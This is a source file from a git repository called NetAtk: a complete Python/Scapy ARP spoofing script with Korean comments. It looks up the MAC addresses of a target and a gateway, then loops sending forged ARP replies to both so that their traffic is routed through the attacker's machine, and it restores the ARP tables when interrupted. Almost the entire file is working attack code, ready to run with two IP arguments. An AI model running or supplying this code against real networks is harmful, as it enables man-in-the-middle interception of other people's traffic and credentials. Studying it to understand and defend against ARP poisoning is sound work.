NetAtk.git

NetAtk

~
git clone https://github.com/debuman/NetAtk.git

ARP_Spoof/arp_spoof_L3.py (3937B)

      1 from scapy.all import *  # Scapy 라이브러리에서 필요한 모든 기능을 import
      2 import time  # 시간 지연 기능을 위해 import
      3 import sys   # 시스템 인자와 종료를 처리하기 위해 import
      4 
      5 def get_mac(ip):
      6     """주어진 IP 주소에 대한 MAC 주소를 반환하는 함수"""
      7     print(f"[*] {ip}에 대한 ARP 요청을 전송 중...")
      8     
      9     # ARP 요청을 전송하여 MAC 주소를 검색 (L3 계층에서 동작)
     10     # Ether(dst="ff:ff:ff:ff:ff:ff")는 브로드캐스트로 ARP 요청을 보냄
     11     # ARP(pdst=ip)는 특정 IP 주소의 MAC 주소를 요청하는 ARP 패킷 생성
     12     answered, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2, retry=10, verbose=False)
     13     
     14     # 응답이 있으면 MAC 주소를 반환
     15     for send, receive in answered:
     16         return receive[Ether].src
     17     
     18     # 응답이 없으면 None 반환
     19     return None  
     20 
     21 
     22 def arp_spoof(target_ip, gateway_ip, target_mac, gateway_mac):
     23     """타겟과 게이트웨이 사이에서 L3 계층에서 ARP 스푸핑을 수행하는 함수"""
     24     print(f"[*] L3 ARP 스푸핑 시작: 타겟 {target_ip} <-> 게이트웨이 {gateway_ip}")
     25     
     26     try:
     27         while True:
     28             # 타겟에게 자신의 IP 주소를 게이트웨이로 속이는 패킷 전송 (L3 계층)
     29             # ARP 패킷에서 pdst는 타겟 IP, psrc는 게이트웨이 IP
     30             send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), verbose=False)
     31             print(f"[+] 타겟 {target_ip}에게 위조된 ARP 패킷 전송")
     32             
     33             # 게이트웨이에게 자신의 IP 주소를 타겟으로 속이는 패킷 전송 (L3 계층)
     34             # ARP 패킷에서 pdst는 게이트웨이 IP, psrc는 타겟 IP
     35             send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip), verbose=False)
     36             print(f"[+] 게이트웨이 {gateway_ip}에게 위조된 ARP 패킷 전송")
     37             
     38             time.sleep(2)  # 2초마다 ARP 스푸핑 반복
     39     except KeyboardInterrupt:
     40         # Ctrl+C를 눌러 스푸핑을 중단하면, ARP 테이블 복구 함수를 호출
     41         print("\n[*] 스푸핑 종료, ARP 테이블 복구 중...")
     42         restore(target_ip, gateway_ip, target_mac, gateway_mac)
     43 
     44 
     45 def restore(target_ip, gateway_ip, target_mac, gateway_mac):
     46     """네트워크를 원래 상태로 복구하는 함수 (L3 계층)"""
     47     # 타겟과 게이트웨이에게 정상적인 ARP 패킷을 전송하여 ARP 테이블 복구
     48     # send()는 L3 계층에서 동작, pdst는 대상 IP, psrc는 출처 IP, hwsrc는 올바른 MAC 주소
     49     send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac), count=3, verbose=False)
     50     send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac), count=3, verbose=False)
     51     print("[*] ARP 테이블 복구 완료.")
     52 
     53 
     54 if __name__ == "__main__":
     55     # 명령행 인자가 부족할 경우 사용법 출력
     56     if len(sys.argv) != 3:
     57         print(f"사용법: {sys.argv[0]} <타겟 IP> <게이트웨이 IP>")
     58         sys.exit(1)
     59     
     60     # 타겟과 게이트웨이의 IP 주소를 명령행 인자로 받음
     61     target_ip = sys.argv[1]
     62     gateway_ip = sys.argv[2]
     63 
     64     # 타겟과 게이트웨이의 MAC 주소를 얻기 위한 함수 호출
     65     target_mac = get_mac(target_ip)
     66     if target_mac is None:
     67         print(f"[!] 타겟 {target_ip}의 MAC 주소를 찾을 수 없습니다.")
     68         sys.exit(1)
     69     print(f"[+] 타겟 {target_ip}의 MAC 주소: {target_mac}")
     70 
     71     gateway_mac = get_mac(gateway_ip)
     72     if gateway_mac is None:
     73         print(f"[!] 게이트웨이 {gateway_ip}의 MAC 주소를 찾을 수 없습니다.")
     74         sys.exit(1)
     75     print(f"[+] 게이트웨이 {gateway_ip}의 MAC 주소: {gateway_mac}")
     76 
     77     # MAC 주소를 알아낸 후 ARP 스푸핑 공격 시작
     78     arp_spoof(target_ip, gateway_ip, target_mac, gateway_mac)